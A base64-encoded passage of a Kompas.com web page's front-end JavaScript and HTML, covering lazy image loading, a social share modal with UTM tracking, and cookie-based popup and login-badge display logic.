0aHJlc2hvbGQ6MCxsb2FkOmZ1bmN0aW9uKHQpe2lmKCJwaWN0dXJlIj09PXQubm9kZU5hbWUudG9Mb3dlckNhc2UoKSl7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7ciYmdC5nZXRBdHRyaWJ1dGUoImRhdGEtaWVzcmMiKSYmKGUuc3JjPXQuZ2V0QXR0cmlidXRlKCJkYXRhLWllc3JjIikpLHQuZ2V0QXR0cmlidXRlKCJkYXRhLWFsdCIpJiYoZS5hbHQ9dC5nZXRBdHRyaWJ1dGUoImRhdGEtYWx0IikpLHQuYXBwZW5kQ2hpbGQoZSl9dC5nZXRBdHRyaWJ1dGUoImRhdGEtc3JjIikmJih0LnNyYz10LmdldEF0dHJpYnV0ZSgiZGF0YS1zcmMiKSksdC5nZXRBdHRyaWJ1dGUoImRhdGEtc3Jjc2V0IikmJnQuc2V0QXR0cmlidXRlKCJzcmNzZXQiLHQuZ2V0QXR0cmlidXRlKCJkYXRhLXNyY3NldCIpKSx0LmdldEF0dHJpYnV0ZSgiZGF0YS1iYWNrZ3JvdW5kLWltYWdlIikmJih0LnN0eWxlLmJhY2tncm91bmRJbWFnZT0idXJsKCciK3QuZ2V0QXR0cmlidXRlKCJkYXRhLWJhY2tncm91bmQtaW1hZ2UiKSsiJykiKSx0LmdldEF0dHJpYnV0ZSgiZGF0YS10b2dnbGUtY2xhc3MiKSYmdC5jbGFzc0xpc3QudG9nZ2xlKHQuZ2V0QXR0cmlidXRlKCJkYXRhLXRvZ2dsZS1jbGFzcyIpKX0sbG9hZGVkOmZ1bmN0aW9uKCl7fX07Ci8qKgogICAqIERldGVjdCBJRSBicm93c2VyCiAgICogQGNvbnN0IHtib29sZWFufQogICAqIEBwcml2YXRlCiAgICovZnVuY3Rpb24gZih0KXt0LnNldEF0dHJpYnV0ZSgiZGF0YS1sb2FkZWQiLCEwKX12YXIgYj1mdW5jdGlvbih0KXtyZXR1cm4idHJ1ZSI9PT10LmdldEF0dHJpYnV0ZSgiZGF0YS1sb2FkZWQiKX07cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIHIsbyxhPTA8YXJndW1lbnRzLmxlbmd0aCYmdm9pZCAwIT09YXJndW1lbnRzWzBdP2FyZ3VtZW50c1swXToiLmxvemFkIix0PTE8YXJndW1lbnRzLmxlbmd0aCYmdm9pZCAwIT09YXJndW1lbnRzWzFdP2FyZ3VtZW50c1sxXTp7fSxlPWcoe30sbCx0KSxuPWUucm9vdCxpPWUucm9vdE1hcmdpbixkPWUudGhyZXNob2xkLHU9ZS5sb2FkLGM9ZS5sb2FkZWQscz12b2lkIDA7cmV0dXJuIHdpbmRvdy5JbnRlcnNlY3Rpb25PYnNlcnZlciYmKHM9bmV3IEludGVyc2VjdGlvbk9ic2VydmVyKChyPXUsbz1jLGZ1bmN0aW9uKHQsZSl7dC5mb3JFYWNoKGZ1bmN0aW9uKHQpeygwPHQuaW50ZXJzZWN0aW9uUmF0aW98fHQuaXNJbnRlcnNlY3RpbmcpJiYoZS51bm9ic2VydmUodC50YXJnZXQpLGIodC50YXJnZXQpfHwocih0LnRhcmdldCksZih0LnRhcmdldCksbyh0LnRhcmdldCkpKX0pfSkse3Jvb3Q6bixyb290TWFyZ2luOmksdGhyZXNob2xkOmR9KSkse29ic2VydmU6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9ZnVuY3Rpb24odCl7dmFyIGU9MTxhcmd1bWVudHMubGVuZ3RoJiZ2b2lkIDAhPT1hcmd1bWVudHNbMV0/YXJndW1lbnRzWzFdOmRvY3VtZW50O3JldHVybiB0IGluc3RhbmNlb2YgRWxlbWVudD9bdF06dCBpbnN0YW5jZW9mIE5vZGVMaXN0P3Q6ZS5xdWVyeVNlbGVjdG9yQWxsKHQpfShhLG4pLGU9MDtlPHQubGVuZ3RoO2UrKyliKHRbZV0pfHwocz9zLm9ic2VydmUodFtlXSk6KHUodFtlXSksZih0W2VdKSxjKHRbZV0pKSl9LHRyaWdnZXJMb2FkOmZ1bmN0aW9uKHQpe2IodCl8fCh1KHQpLGYodCksYyh0KSl9LG9ic2VydmVyOnN9fX0pOwo8L3NjcmlwdD4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIC8vIEluaXRpYWxpemUgbGlicmFyeQogICAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXsKICAgICAgICBsb3phZCgnLmxvemFkJywgewogICAgICAgICAgICBsb2FkOiBmdW5jdGlvbihlbCkgewogICAgICAgICAgICAgICAgZWwuc3JjID0gZWwuZGF0YXNldC5zcmM7CiAgICAgICAgICAgICAgICBlbC5vbmxvYWQgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICBlbC5jbGFzc0xpc3QuYWRkKCdmYWRlJykKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0pLm9ic2VydmUoKQogICAgfSk7Cjwvc2NyaXB0PgogCiAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjQvMDgvMjYva2dtdmVyaWZ5L2pzL2tnbXZlcmlmeS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIGZ1bmN0aW9uIGdldENvb2tpZShuYW1lKSB7CiAgICAgICAgdmFyIG5hbWUgPSBuYW1lICsgJz0nOwogICAgICAgIHZhciBjb29raWVzID0gZGVjb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSkuc3BsaXQoJzsnKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNvb2tpZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgdmFyIGMgPSBjb29raWVzW2ldOwogICAgICAgICAgICB3aGlsZSAoYy5jaGFyQXQoMCkgPT0gJyAnKSB7CiAgICAgICAgICAgICAgICBjID0gYy5zdWJzdHJpbmcoMSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGMuaW5kZXhPZihuYW1lKSA9PSAwKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gYy5zdWJzdHJpbmcobmFtZS5sZW5ndGgsIGMubGVuZ3RoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBsZXQgcG9wdXBfc3RhdGUgPSBKU09OLnBhcnNlKGdldENvb2tpZSgncG9wdXBfc3RhdGUnKSk7CiAgICBpZihwb3B1cF9zdGF0ZS5hY3RpdmVfcG9wdXBfaWQ9PTUpIHsKICAgICAgICBLZ21WZXJpZnlXaWRnZXQoe3B1Ymxpc2hlcjogImtvbXBhc2NvbSJ9KTsKICAgIH0KPC9zY3JpcHQ+CiAgPHNjcmlwdCBhc3luYz0iIiBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjUvMDIvMDMvMTQ1Mi9mcmVlcHJlbWl1bV9uZXdzbGV0dGVyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgogIDxzY3JpcHQgYXN5bmM9IiIgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDI1LzAxLzE0L2pzL2tvbXBhc3BsdXNfcmVtaW5kZXIuanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+Cgo8ZGl2IGNsYXNzPSJtb2RhbENvbnRlbnQgcmVhY3Rpb25Nb2RhbCIgZGF0YS1tb2RhbC10YXJnZXQ9InJlYWN0aW9uLXNoYXJlIj4KICAgIDxkaXYgY2xhc3M9Im1vZGFsSGVhZGVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbFRpdGxlIj48L2Rpdj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnV0dG9uRGlzbWlzcyBtb2RhbERpc21pc3MiIGFyaWEtbGFiZWw9IkNsb3NlIiBkYXRhLW1vZGFsLWJ1dHRvbj0iZGlzbWlzcyI+CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpY29CYXNlIGljb0Rpc21pc3MiPjwvc3Bhbj4KICAgICAgICA8L2J1dHRvbj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0ibW9kYWxCb2R5IHNvY21lZE1vZGFsIj4KICAgICAgICA8ZGl2IGNsYXNzPSJzb2NtZWRUaXRsZSI+QmFnaWthbiBhcnRpa2VsIGluaSBtZWxhbHVpPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ic29jbWVkTGlzdCI+CiAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGNsYXNzPSJidXR0b24gYnV0dG9uRmFjZWJvb2sgc29jbWVkQnV0dG9uIiByb2xlPSJidXR0b24iIGFyaWEtbGFiZWw9IlNoYXJlIHRvIEZhY2Vib29rIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpY29Tb2NtZWQgaWNvRmFjZWJvb2siPjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzb2NtZWRUeHQiPkZhY2Vib29rPC9zcGFuPgogICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGNsYXNzPSJidXR0b24gYnV0dG9uVHdpdHRlciBzb2NtZWRCdXR0b24iIHJvbGU9ImJ1dHRvbiIgYXJpYS1sYWJlbD0iU2hhcmUgdG8gVHdpdHRlciI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaWNvU29jbWVkIGljb1R3aXR0ZXIiPjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzb2NtZWRUeHQiPlg8L3NwYW4+CiAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9ImJ1dHRvbiBidXR0b25XaGF0c2FwcCBzb2NtZWRCdXR0b24iIHJvbGU9ImJ1dHRvbiIgYXJpYS1sYWJlbD0iU2hhcmUgdG8gV2hhdHNhcHAiPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Imljb1NvY21lZCBpY29XaGF0c2FwcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InNvY21lZFR4dCI+V2hhdHNhcHA8L3NwYW4+CiAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGNsYXNzPSJidXR0b24gYnV0dG9uTGluZSBzb2NtZWRCdXR0b24iIHJvbGU9ImJ1dHRvbiIgYXJpYS1sYWJlbD0iU2hhcmUgdG8gTGluZSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaWNvU29jbWVkIGljb0xpbmUiPjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzb2NtZWRUeHQiPkxpbmU8L3NwYW4+CiAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9ImJ1dHRvbiBidXR0b25UZWxlZ3JhbSBzb2NtZWRCdXR0b24iIHJvbGU9ImJ1dHRvbiIgYXJpYS1sYWJlbD0iU2hhcmUgdG8gVGVsZWdyYW0iPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Imljb1NvY21lZCBpY29UZWxlZ3JhbSI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InNvY21lZFR4dCI+VGVsZWdyYW08L3NwYW4+CiAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9ImJ1dHRvbiBidXR0b25Db3B5TGluayBzb2NtZWRCdXR0b24iIHJvbGU9ImJ1dHRvbiIgYXJpYS1sYWJlbD0iU2hhcmUgdG8gQ29weSBMaW5rIiBkYXRhLWZvcm09ImNvcHlMaW5rVXJsIiBkYXRhLWNvcHk9ImNvcHktdXJsIiBkYXRhLXRpdGxlPSJVUkwgQmVyaGFzaWwgZGlzYWxpbiI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaWNvU29jbWVkIGljb0NvcHlMaW5rIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic29jbWVkVHh0Ij5Db3B5IExpbms8L3NwYW4+CiAgICAgICAgICAgIDwvYT4KICAgICAgICA8L2Rpdj4KICAgICAgICA8dGV4dGFyZWEgY2xhc3M9InNvY21lZFNyYyIgdHlwZT0idGV4dCIgaWQ9ImNvcHlMaW5rVXJsIiB2YWx1ZT0iIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPjwvdGV4dGFyZWE+CiAgICA8L2Rpdj4KPC9kaXY+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CiAgICAoZnVuY3Rpb24oKSB7CiAgICAgICAgJCgnYm9keScpLm9uKCdjbGljaycsICcucmVhY3Rpb24gPiAqIC5idXR0b25TaGFyZSwgLmxpc3RQb3AgPiAqIC5idXR0b25TaGFyZScsIGZ1bmN0aW9uKGUpIHsKCiAgICAgICAgICAgIGlmKCQodGhpcykuZGF0YSgidHlwZSIpPT0nYnVrdScpewogICAgICAgICAgICAgICAgbGV0IHRpdGxlID0gJCh0aGlzKS5kYXRhKCJ0aXRsZSIpOwogICAgICAgICAgICAgICAgbGV0IHVybCA9ICQodGhpcykuZGF0YSgidXJsIikucmVwbGFjZSgnaHR0cDovLycsICdodHRwczovLycpOwogICAgICAgICAgICAgICAgbGV0IGNvcHlfbGluayA9IHVybDsKICAgICAgICAgICAgICAgIGxldCBtb2RhbHMgPSAkKCcucmVhY3Rpb25Nb2RhbCcpOwogICAgICAgICAgICAgICAgbW9kYWxzLmZpbmQoJy5tb2RhbFRpdGxlJykuaHRtbCh0aXRsZSk7CiAgICAgICAgICAgICAgICBtb2RhbHMuZmluZCgnI2NvcHlMaW5rVXJsJykuaHRtbChjb3B5X2xpbmspOwogICAgICAgICAgICAgICAgbW9kYWxzLmZpbmQoJy5zb2NtZWRUaXRsZScpLmh0bWwoJ0JhZ2lrYW4gYnVrdSBpbmkgbWVsYWx1aScpOwogICAgICAgICAgICAgICAgbW9kYWxzLmZpbmQoJy5idXR0b25GYWNlYm9vaycpLmF0dHIoIm9uY2xpY2siLCBgZmJfc2hhcmUoJyR7dGl0bGV9JywnJHt1cmx9JylgKTsKICAgICAgICAgICAgICAgIG1vZGFscy5maW5kKCcuYnV0dG9uVHdpdHRlcicpLmF0dHIoIm9uY2xpY2siLCBgdHdlZXRfc2hhcmUoJyR7dXJsfScpYCk7CiAgICAgICAgICAgICAgICBtb2RhbHMuZmluZCgnLmJ1dHRvbldoYXRzYXBwJykuYXR0cigib25jbGljayIsIGB3aGF0c2FwcF9zaGFyZV9uZXcoJycsICcke3VybH0nKWApOwogICAgICAgICAgICAgICAgbW9kYWxzLmZpbmQoJy5idXR0b25MaW5lJykuYXR0cigiaHJlZiIsIGBodHRwczovL2xpbmUubWUvUi9tc2cvdGV4dC8/JHt1cmx9YCk7CiAgICAgICAgICAgICAgICBtb2RhbHMuZmluZCgnLmJ1dHRvblRlbGVncmFtJykuYXR0cigib25jbGljayIsIGB0ZWxlZ3JhbV9zaGFyZSgnJHt0aXRsZX0nLCAnJHt1cmx9JylgKTsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBsZXQgdGl0bGUgPSAkKHRoaXMpLmRhdGEoInRpdGxlIik7CiAgICAgICAgICAgICAgICBsZXQgdXJsID0gJCh0aGlzKS5kYXRhKCJ1cmwiKS5yZXBsYWNlKCdodHRwOi8vJywgJ2h0dHBzOi8vJyk7CiAgICAgICAgICAgICAgICBsZXQgY2FtcGFpZ24gPSAkKHRoaXMpLmRhdGEoImNhbXBhaWduIik7CiAgICAgICAgICAgICAgICBsZXQgbW9kYWxzID0gJCgnLnJlYWN0aW9uTW9kYWwnKTsKICAgICAgICAgICAgICAgIGxldCB0YWdsaW5lX3R3ID0gJyc7IC8vJ1xcblxcbktvbXBhc2NvbSsgYmFjYSBiZXJpdGEgdGFucGEgaWtsYW46IGh0dHBzOi8va21wLmltL3BsdXMyIFxcbkRvd25sb2FkIGFwbGlrYXNpOiBodHRwczovL2ttcC5pbS9hcHAyJzsKICAgICAgICAgICAgICAgIGxldCB0YWdsaW5lX3dhID0gJyc7IC8vJ1xcblxcbktvbXBhc2NvbSsgYmFjYSBiZXJpdGEgdGFucGEgaWtsYW46IGh0dHBzOi8va21wLmltL3BsdXMzIFxcbkRvd25sb2FkIGFwbGlrYXNpOiBodHRwczovL2ttcC5pbS9hcHAzJzsKICAgICAgICAgICAgICAgIGxldCB0YWdsaW5lX2xuID0gJyc7IC8vJyUwRCUwQSUwRCUwQUtvbXBhc2NvbSUyQiBiYWNhIGJlcml0YSB0YW5wYSBpa2xhbjogaHR0cHM6Ly9rbXAuaW0vcGx1czQlMEQlMEFEb3dubG9hZCBhcGxpa2FzaTogaHR0cHM6Ly9rbXAuaW0vYXBwNCc7CiAgICAgICAgICAgICAgICBsZXQgdGFnbGluZV90ZyA9ICcnOyAvLyclMEQlMEElMEQlMEFLb21wYXNjb20lMkIgYmFjYSBiZXJpdGEgdGFucGEgaWtsYW46IGh0dHBzOi8va21wLmltL3BsdXM1JTBEJTBBRG93bmxvYWQgYXBsaWthc2k6IGh0dHBzOi8va21wLmltL2FwcDUnOwogICAgICAgICAgICAgICAgbGV0IHR5cGUgPSAkKHRoaXMpLmRhdGEoInR5cGUiKSA/ICQodGhpcykuZGF0YSgidHlwZSIpIDogJ2FydGljbGUnOwogICAgICAgICAgICAgICAgbGV0IHRpdGxlX2tsaWsgPSAodHlwZSA9PSAnYXJ0aWNsZScpID8gJ0tsaWsgdW50dWsgYmFjYScgOiAnS2xpayB1bnR1ayBsaWhhdCB2aWRlbyc7CiAgICAgICAgICAgICAgICBsZXQgdGl0bGVfd2EgPSAnKicrdGl0bGUrJypcXG5cXG4nK3RpdGxlX2tsaWsrJzpcXG4nOwogICAgICAgICAgICAgICAgbGV0IHRpdGxlX3RlbGUgPSAnKionK3RpdGxlKycqKic7CiAgICAgICAgICAgICAgICBsZXQgdXRtX2NhbXBhaWduID0gY3VzdG9tX3V0bV9jYW1wYWlnbigpOwogICAgICAgICAgICAgICAgbGV0IGNvcHlfbGluayA9IHVybCsnP3V0bV9zb3VyY2U9VmFyaW91cyZ1dG1fbWVkaXVtPVJlZmVycmFsJnV0bV9jYW1wYWlnbj0nK3V0bV9jYW1wYWlnbjsKICAgICAgICAgICAgICAgIG1vZGFscy5maW5kKCcubW9kYWxUaXRsZScpLmh0bWwodGl0bGUpOwogICAgICAgICAgICAgICAgbW9kYWxzLmZpbmQoJyNjb3B5TGlua1VybCcpLmh0bWwoY29weV9saW5rKTsKICAgICAgICAgICAgICAgIG1vZGFscy5maW5kKCcuYnV0dG9uRmFjZWJvb2snKS5hdHRyKCJvbmNsaWNrIiwgYGZiX3NoYXJlKCcke3RpdGxlfScsJyR7dXJsfT91dG1fc291cmNlPUZhY2Vib29rJnV0bV9tZWRpdW09UmVmZXJyYWwmdXRtX2NhbXBhaWduPSR7dXRtX2NhbXBhaWdufScpYCk7CiAgICAgICAgICAgICAgICBpZih0aXRsZS5sZW5ndGggPCAyMDApewogICAgICAgICAgICAgICAgICAgIG1vZGFscy5maW5kKCcuYnV0dG9uVHdpdHRlcicpLmF0dHIoIm9uY2xpY2siLCBgdHdlZXRfc2hhcmUoJyR7dGl0bGV9XFxuXFxuYCt0aXRsZV9rbGlrK2A6ICR7dXJsfT91dG1fc291cmNlPVR3aXR0ZXImdXRtX21lZGl1bT1SZWZlcnJhbCZ1dG1fY2FtcGFpZ249JHt1dG1fY2FtcGFpZ259JHt0YWdsaW5lX3R3fScpYCk7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBtb2RhbHMuZmluZCgnLmJ1dHRvblR3aXR0ZXInKS5hdHRyKCJvbmNsaWNrIiwgYHR3ZWV0X3NoYXJlKCcke3RpdGxlfVxcblxcbmArdGl0bGVfa2xpaytgOiAke3VybH0/dXRtX3NvdXJjZT1Ud2l0dGVyJnV0bV9tZWRpdW09UmVmZXJyYWwmdXRtX2NhbXBhaWduPSR7dXRtX2NhbXBhaWdufScpYCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBtb2RhbHMuZmluZCgnLmJ1dHRvbldoYXRzYXBwJykuYXR0cigib25jbGljayIsIGB3aGF0c2FwcF9zaGFyZV9uZXcoJyR7dGl0bGVfd2F9JywgJyR7dXJsfT91dG1fc291cmNlPVdoYXRzYXBwJnV0bV9tZWRpdW09UmVmZXJyYWwmdXRtX2NhbXBhaWduPSR7dXRtX2NhbXBhaWdufSR7dGFnbGluZV93YX0nKWApOwogICAgICAgICAgICAgICAgbW9kYWxzLmZpbmQoJy5idXR0b25MaW5lJykuYXR0cigiaHJlZiIsIGBodHRwczovL2xpbmUubWUvUi9tc2cvdGV4dC8/JHt0aXRsZX0lMEQlMEElMEQlMEFgK3RpdGxlX2tsaWsrYDolMEQlMEEke3VybH0lM0Z1dG1fc291cmNlPUxpbmUlMjZ1dG1fbWVkaXVtPVJlZmVycmFsJTI2dXRtX2NhbXBhaWduPSR7dXRtX2NhbXBhaWdufSR7dGFnbGluZV9sbn1gKTsKICAgICAgICAgICAgICAgIG1vZGFscy5maW5kKCcuYnV0dG9uVGVsZWdyYW0nKS5hdHRyKCJvbmNsaWNrIiwgYHRlbGVncmFtX3NoYXJlKCcke3RpdGxlX3RlbGV9JywgJyR7dXJsfT91dG1fc291cmNlPVRlbGVncmFtJnV0bV9tZWRpdW09UmVmZXJyYWwmdXRtX2NhbXBhaWduPSR7dXRtX2NhbXBhaWdufScsICcke3RhZ2xpbmVfdGd9JylgKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgb3Blbk1vZGFsKCdyZWFjdGlvbi1zaGFyZScpOwogICAgICAgIH0pOwogICAgfSkoKTsKCiAgICBmdW5jdGlvbiBjdXN0b21fdXRtX2NhbXBhaWduKCkgewogICAgICAgIAogICAgICAgIAogICAgICAgIGlmICh3aW5kb3cubG9jYXRpb24uaG9zdG5hbWUuaW5kZXhPZignYWN0aXZpdHknKSA9PSAwKSB7CiAgICAgICAgICAgIGlmICh3aW5kb3cubG9jYXRpb24ucGF0aG5hbWUgPT0gJy9zYXZlZCcpIHsKICAgICAgICAgICAgICAgIHJldHVybiAnU2F2ZWRfRGVza3RvcCcKICAgICAgICAgICAgfSBlbHNlIGlmICh3aW5kb3cubG9jYXRpb24ucGF0aG5hbWUgPT0gJy9saWtlJykgewogICAgICAgICAgICAgICAgcmV0dXJuICdMaWtlZF9EZXNrdG9wJwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgdmFyIGVsX3NvY21lZExpc3QgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuc29jbWVkTGlzdCcpOwogICAgICAgICAgICBpZiAoISFlbF9zb2NtZWRMaXN0KSB7CiAgICAgICAgICAgICAgICB2YXIgZGF0YV9hcmVhID0gZWxfc29jbWVkTGlzdC5nZXRBdHRyaWJ1dGUoJ2RhdGEtYXJlYScpOwogICAgICAgICAgICAgICAgaWYgKGRhdGFfYXJlYSA9PSAndG9wJykgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAnVG9wX0Rlc2t0b3AnCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGRhdGFfYXJlYSA9PSAnYm90dG9tJykgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAnQm90dG9tX0Rlc2t0b3AnCiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAnQUlNTF9XaWRnZXRfRGVza3RvcCcKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICdTdGlja3lfRGVza3RvcCcKICAgIH0KPC9zY3JpcHQ+PCEtLSByZWFjdGlvbiB0b2FzdCAtLT4KPGRpdiBjbGFzcz0idG9hc3QiIGRhdGEtdG9hc3Q9ImJvdHRvbSI+CiAgICA8ZGl2IGNsYXNzPSJ0b2FzdENvbnRlbnQiPjwvZGl2PgogICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJ1dHRvbiBidXR0b25EaXNtaXNzIHRvYXN0RGlzbWlzcyIgYXJpYS1sYWJlbD0iRGlzbWlzcyIgcm9sZT0iYnV0dG9uIiBkYXRhLXRvYXN0LWJ1dHRvbj0iZGlzbWlzcyI+T2tlPC9hPgo8L2Rpdj4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiAgICAKdmFyIGVsX2JhZGdlID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignLnNzb19fYmFkZ2UnKQp2YXIgZWxfYmFkZ2VfbWVudSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5zc29fX2JhZGdlX19pbmxpbmUnKQoKZnVuY3Rpb24gY2hlY2tTZXNzaW9uKCkgewogICAgdmFyIGJhZGdlX3RlbXBfc2Vzc2lvbiA9IGdldENvb2tpZSgiX2JhZGdlX3RlbXBfc2Vzc2lvbiIpCiAgICB2YXIgYmFkZ2Vfc2Vzc2lvbiA9IGdldENvb2tpZSgiYmFkZ2Vfc2Vzc2lvbiIpCiAgICB2YXIgYmFkZ2VfZmlyc3RfY2xpY2sgPSBnZXRDb29raWUoImJhZGdlX2ZpcnN0X2NsaWNrIik7CgogICAgaWYgKGJhZGdlX3RlbXBfc2Vzc2lvbiA9PSAiIiAmJiBiYWRnZV9zZXNzaW9uID09ICIiKSAgewogICAgICAgIHNldENvb2tpZSgiX2JhZGdlX3RlbXBfc2Vzc2lvbiIsIDEpCiAgICAgICAgc2V0Q29va2llKCJiYWRnZV9zZXNzaW9uIiwgMSwgODc2MCkKICAgICAgICAvLyBjb25zb2xlLmxvZygidGVzdCBiYWRnZSB0ZW1wIDEiKQogICAgfSBlbHNlIGlmIChiYWRnZV90ZW1wX3Nlc3Npb24gPT0gIiIgJiYgYmFkZ2Vfc2Vzc2lvbiA9PSAxKSB7CiAgICAgICAgc2V0Q29va2llKCJfYmFkZ2VfdGVtcF9zZXNzaW9uIiwgMSkKICAgICAgICBzZXRDb29raWUoImJhZGdlX3Nlc3Npb24iLCAyLCA4NzYwKQogICAgICAgIC8vIGNvbnNvbGUubG9nKCJ0ZXN0IGJhZGdlIHRlbXAgMiIpCiAgICB9IGVsc2UgaWYgKGJhZGdlX3RlbXBfc2Vzc2lvbiA9PSAiIiAmJiBiYWRnZV9zZXNzaW9uID09IDIgJiYgYmFkZ2VfZmlyc3RfY2xpY2sgPT0gMSkgewogICAgICAgIHNldENvb2tpZSgiX2JhZGdlX3RlbXBfc2Vzc2lvbiIsIDEpCiAgICAgICAgc2V0Q29va2llKCJiYWRnZV9zZXNzaW9uIiwgMywgODc2MCkKICAgICAgICAvLyBjb25zb2xlLmxvZygidGVzdCBiYWRnZSB0ZW1wIDMiKQogICAgfQoKICAgIHNldENvb2tpZSgiX2JhZGdlX3RlbXBfc2Vzc2lvbiIsIDEpCn0KY2hlY2tTZXNzaW9uKCkKCmZ1bmN0aW9uIGNoZWNrQ29va2llQmFkZ2VOcHMoKSB7CiAgICB2YXIgYmFkZ2Vfc2Vzc2lvbiA9IGdldENvb2tpZSgiYmFkZ2Vfc2Vzc2lvbiIpCiAgICB2YXIgYmFkZ2VfZmlyc3RfY2xpY2sgPSBnZXRDb29raWUoImJhZGdlX2ZpcnN0X2NsaWNrIikKICAgIHZhciBjbGlja19pY29uX2JhZGdlID0gZ2V0Q29va2llKCJjbGlja19pY29uX2JhZGdlIikKICAgIHZhciBmZWVkYmFja19jbGljayA9IGdldENvb2tpZSgiZmVlZGJhY2tfY2xpY2tfYmFkZ2UiKQogICAgCiAgICAvLyBzaG93IGJhZGdlIGppa2Egc2VzaSBiZXJpa3V0bnlhICAKICAgIGlmIChiYWRnZV9zZXNzaW9uID09IDIpIHsKICAgICAgICBlbF9iYWRnZS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIgogICAgICAgIGVsX2JhZGdlX21lbnUuc3R5bGUuZGlzcGxheSA9ICJibG9jayIKICAgICAgICAvLyBjb25zb2xlLmxvZygidGVzdCAxIikgICAgCiAgICB9IAoKICAgIC8vIGppa2EgYWRhIGRpIHNlc2kgYmVyaWt1dG55YSBkYW4gdGVsYWggY2xpY2sgYmFkZ2UgaWNvbiB1dGsgcGVydGFtYSBrYWxpLCBtYWthIGhpZGUgYmFkZ2UgaWNvbiBsb2dpbgogICAgaWYgKGJhZGdlX3Nlc3Npb24gPT0gMiAmJiBiYWRnZV9maXJzdF9jbGljayA9PSAxKSB7CiAgICAgICAgZWxfYmFkZ2Uuc3R5bGUuZGlzcGxheSA9ICJub25lIgogICAgICAgIC8vIGNvbnNvbGUubG9nKCJ0ZXN0IDIiKSAgCiAgICAgICAgCiAgICAvLyBqaWthIHRpZGFrIGNlaywKICAgIC8vIGppa2EgYWRhIGRpIHNlc2kgYmVyaWt1dG55YSBkYW4gdGVsYWggY2xpY2sgYmFkZ2UgaWNvbiB1dGsgcGVydGFtYSBrYWxpC